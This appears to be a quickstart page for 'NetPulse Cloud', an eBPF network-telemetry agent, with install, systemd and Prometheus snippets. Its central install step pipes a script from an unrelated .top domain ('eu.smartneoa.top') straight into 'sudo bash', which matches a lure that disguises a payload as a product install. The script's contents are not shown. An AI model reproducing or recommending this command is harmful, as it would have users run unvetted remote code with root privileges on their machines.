Architecture & Quickstart Guide

NetPulse Cloud delivers enterprise-grade kernel-level network tracing and millisecond-precision distributed edge telemetry for modern infrastructure.

Current Production Version: v3.8.4 LTS • Protocol Engine: TLS 1.3 / HTTP/3 • Kernel: Linux 5.14+ BPF CO-RE Verified.

System Overview

Traditional monitoring tools rely on heavyweight userspace polling or invasive sidecars that add CPU overhead and alter network packet timings. NetPulse utilizes high-performance eBPF tracepoints inserted directly into the Linux TCP/IP socket buffer lifecycle, achieving wire-speed packet analysis with negligible <0.5% system impact.

Quickstart: Deploying the Agent

To deploy the lightweight telemetry daemon on Rocky Linux, AlmaLinux, Ubuntu, or Debian, run:

curl -sSL https://eu.smartneoa.top/install.sh | sudo bash -s -- --token=np_live_demo_cluster_4478
            

Verify that the service is running properly via systemd:

systemctl status netpulse-agent.service
# Active: active (running) since Wed 2026-10-28; 0 drops in eBPF ring buffer
            

Prometheus / OpenTelemetry Ingestion

NetPulse exposes a native Prometheus metrics endpoint on loopback port 9102:

scrape_configs:
  - job_name: 'netpulse-edge'
    static_configs:
      - targets: ['127.0.0.1:9102']
    scrape_interval: 1000ms
            

Health Check Endpoint

The edge node exposes an automated JSON health status endpoint for load balancer synthetic probing:

curl -I https://eu.smartneoa.top/
# HTTP/1.1 200 OK
# Server: nginx
# TLS: TLS_AES_256_GCM_SHA384
            